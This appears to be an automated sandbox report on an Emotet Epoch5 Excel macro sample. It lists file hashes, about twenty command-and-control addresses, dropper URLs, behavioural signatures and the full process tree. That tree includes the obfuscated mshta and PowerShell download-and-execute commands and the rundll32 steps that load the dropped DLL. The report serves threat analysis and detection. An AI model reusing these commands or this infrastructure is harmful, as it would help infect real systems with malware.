Analysis

  • max time kernel
    150s
  • max time network
    143s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    20-01-2022 02:20

General

  • Target

    ZOJ_88986.xlsm

  • Size

    115KB

  • MD5

    f00afd4f894ae4e0536dd0950e125b59

  • SHA1

    cb54baba37c881782c0ef9b7cb378b37dd998902

  • SHA256

    745d54c9957257622f8009a18c4ecf6d99a2f407ed5dd0cb211649fbfe4d2b90

  • SHA512

    cd07dd00b0a1615a480555ed2f9bc7b075782d084e512cf484e7f66705d06bf8b2059c6397bbff0396df70a58b9f5c7eff5204bc97741bc8e5e6ec16b2a4b6f4

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0x5cff39c3/sec/se1.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://92.255.57.195/sec/se1.png

Extracted

Family

emotet

Botnet

Epoch5

C2

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 7 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 48 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\ZOJ_88986.xlsm
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:904
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:564
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:364
        • C:\Windows\SysWOW64\mshta.exe
          mshta http://0x5cff39c3/sec/se1.html
          3⤵
          • Blocklisted process makes network request
          • Modifies Internet Explorer settings
          • Suspicious use of WriteProcessMemory
          PID:432
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/se1.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
            4⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2012
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:1564
              • C:\Windows\SysWow64\rundll32.exe
                C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
                6⤵
                • Loads dropped DLL
                • Suspicious use of WriteProcessMemory
                PID:1652
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                  7⤵
                  • Loads dropped DLL
                  • Drops file in System32 directory
                  • Suspicious use of WriteProcessMemory
                  PID:1672
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Wvwnueovuyucamhs\nsxhr.qam",pULvEjo
                    8⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1012
                    • C:\Windows\SysWOW64\rundll32.exe
                      C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Wvwnueovuyucamhs\nsxhr.qam",DllRegisterServer
                      9⤵
                      • Blocklisted process makes network request
                      • Suspicious behavior: EnumeratesProcesses
                      PID:1052

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • C:\Users\Public\Documents\ssd.dll

      MD5

      0a71d3aca943eb308f472d67112e449b

      SHA1

      5096c247b6ab47febd872f13054888f5c9ad24bc

      SHA256

      a3ea88a1f6834175570dbc9daf0666181999420e428b67f0aec6a479b19be684

      SHA512

      7648290827765579b49b6eafc5680d131e2b5456fe1f485c3b407d36f035fa6581931712540e32a5c7af515646039c548265b451ea5b0205f21a7f79014cfaab

    • \Users\Public\Documents\ssd.dll

      MD5

      0a71d3aca943eb308f472d67112e449b

      SHA1

      5096c247b6ab47febd872f13054888f5c9ad24bc

      SHA256

      a3ea88a1f6834175570dbc9daf0666181999420e428b67f0aec6a479b19be684

      SHA512

      7648290827765579b49b6eafc5680d131e2b5456fe1f485c3b407d36f035fa6581931712540e32a5c7af515646039c548265b451ea5b0205f21a7f79014cfaab

    • \Users\Public\Documents\ssd.dll

      MD5

      0a71d3aca943eb308f472d67112e449b

      SHA1

      5096c247b6ab47febd872f13054888f5c9ad24bc

      SHA256

      a3ea88a1f6834175570dbc9daf0666181999420e428b67f0aec6a479b19be684

      SHA512

      7648290827765579b49b6eafc5680d131e2b5456fe1f485c3b407d36f035fa6581931712540e32a5c7af515646039c548265b451ea5b0205f21a7f79014cfaab

    • \Users\Public\Documents\ssd.dll

      MD5

      0a71d3aca943eb308f472d67112e449b

      SHA1

      5096c247b6ab47febd872f13054888f5c9ad24bc

      SHA256

      a3ea88a1f6834175570dbc9daf0666181999420e428b67f0aec6a479b19be684

      SHA512

      7648290827765579b49b6eafc5680d131e2b5456fe1f485c3b407d36f035fa6581931712540e32a5c7af515646039c548265b451ea5b0205f21a7f79014cfaab

    • \Users\Public\Documents\ssd.dll

      MD5

      0a71d3aca943eb308f472d67112e449b

      SHA1

      5096c247b6ab47febd872f13054888f5c9ad24bc

      SHA256

      a3ea88a1f6834175570dbc9daf0666181999420e428b67f0aec6a479b19be684

      SHA512

      7648290827765579b49b6eafc5680d131e2b5456fe1f485c3b407d36f035fa6581931712540e32a5c7af515646039c548265b451ea5b0205f21a7f79014cfaab

    • \Users\Public\Documents\ssd.dll

      MD5

      0a71d3aca943eb308f472d67112e449b

      SHA1

      5096c247b6ab47febd872f13054888f5c9ad24bc

      SHA256

      a3ea88a1f6834175570dbc9daf0666181999420e428b67f0aec6a479b19be684

      SHA512

      7648290827765579b49b6eafc5680d131e2b5456fe1f485c3b407d36f035fa6581931712540e32a5c7af515646039c548265b451ea5b0205f21a7f79014cfaab

    • \Users\Public\Documents\ssd.dll

      MD5

      0a71d3aca943eb308f472d67112e449b

      SHA1

      5096c247b6ab47febd872f13054888f5c9ad24bc

      SHA256

      a3ea88a1f6834175570dbc9daf0666181999420e428b67f0aec6a479b19be684

      SHA512

      7648290827765579b49b6eafc5680d131e2b5456fe1f485c3b407d36f035fa6581931712540e32a5c7af515646039c548265b451ea5b0205f21a7f79014cfaab

    • \Users\Public\Documents\ssd.dll

      MD5

      0a71d3aca943eb308f472d67112e449b

      SHA1

      5096c247b6ab47febd872f13054888f5c9ad24bc

      SHA256

      a3ea88a1f6834175570dbc9daf0666181999420e428b67f0aec6a479b19be684

      SHA512

      7648290827765579b49b6eafc5680d131e2b5456fe1f485c3b407d36f035fa6581931712540e32a5c7af515646039c548265b451ea5b0205f21a7f79014cfaab

    • \Users\Public\Documents\ssd.dll

      MD5

      0a71d3aca943eb308f472d67112e449b

      SHA1

      5096c247b6ab47febd872f13054888f5c9ad24bc

      SHA256

      a3ea88a1f6834175570dbc9daf0666181999420e428b67f0aec6a479b19be684

      SHA512

      7648290827765579b49b6eafc5680d131e2b5456fe1f485c3b407d36f035fa6581931712540e32a5c7af515646039c548265b451ea5b0205f21a7f79014cfaab

    • memory/564-58-0x000007FEFBC31000-0x000007FEFBC33000-memory.dmp

      Filesize

      8KB

    • memory/904-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/904-54-0x000000002FE71000-0x000000002FE74000-memory.dmp

      Filesize

      12KB

    • memory/904-55-0x0000000071421000-0x0000000071423000-memory.dmp

      Filesize

      8KB

    • memory/904-57-0x00000000762C1000-0x00000000762C3000-memory.dmp

      Filesize

      8KB

    • memory/1052-106-0x0000000002950000-0x0000000002978000-memory.dmp

      Filesize

      160KB

    • memory/1052-102-0x00000000026D0000-0x00000000026F8000-memory.dmp

      Filesize

      160KB

    • memory/1052-114-0x0000000003041000-0x0000000003065000-memory.dmp

      Filesize

      144KB

    • memory/1052-113-0x0000000002B90000-0x0000000002BB8000-memory.dmp

      Filesize

      160KB

    • memory/1052-112-0x0000000002B91000-0x0000000002BB5000-memory.dmp

      Filesize

      144KB

    • memory/1052-110-0x0000000002AA0000-0x0000000002AC8000-memory.dmp

      Filesize

      160KB

    • memory/1052-108-0x00000000029B0000-0x00000000029D8000-memory.dmp

      Filesize

      160KB

    • memory/1052-104-0x0000000002770000-0x0000000002798000-memory.dmp

      Filesize

      160KB

    • memory/1052-94-0x0000000000380000-0x00000000003A8000-memory.dmp

      Filesize

      160KB

    • memory/1052-100-0x00000000025B0000-0x00000000025D8000-memory.dmp

      Filesize

      160KB

    • memory/1652-69-0x00000000002A0000-0x00000000002C8000-memory.dmp

      Filesize

      160KB

    • memory/1672-82-0x00000000023F0000-0x0000000002418000-memory.dmp

      Filesize

      160KB

    • memory/1672-89-0x00000000028A0000-0x00000000028C8000-memory.dmp

      Filesize

      160KB

    • memory/1672-86-0x0000000002780000-0x00000000027A8000-memory.dmp

      Filesize

      160KB

    • memory/1672-84-0x00000000025A0000-0x00000000025C8000-memory.dmp

      Filesize

      160KB

    • memory/1672-80-0x0000000002170000-0x0000000002198000-memory.dmp

      Filesize

      160KB

    • memory/1672-78-0x0000000000CA0000-0x0000000000CC8000-memory.dmp

      Filesize

      160KB

    • memory/2012-62-0x00000000024C0000-0x000000000310A000-memory.dmp

      Filesize

      12.3MB

    • memory/2012-61-0x00000000024C0000-0x000000000310A000-memory.dmp

      Filesize

      12.3MB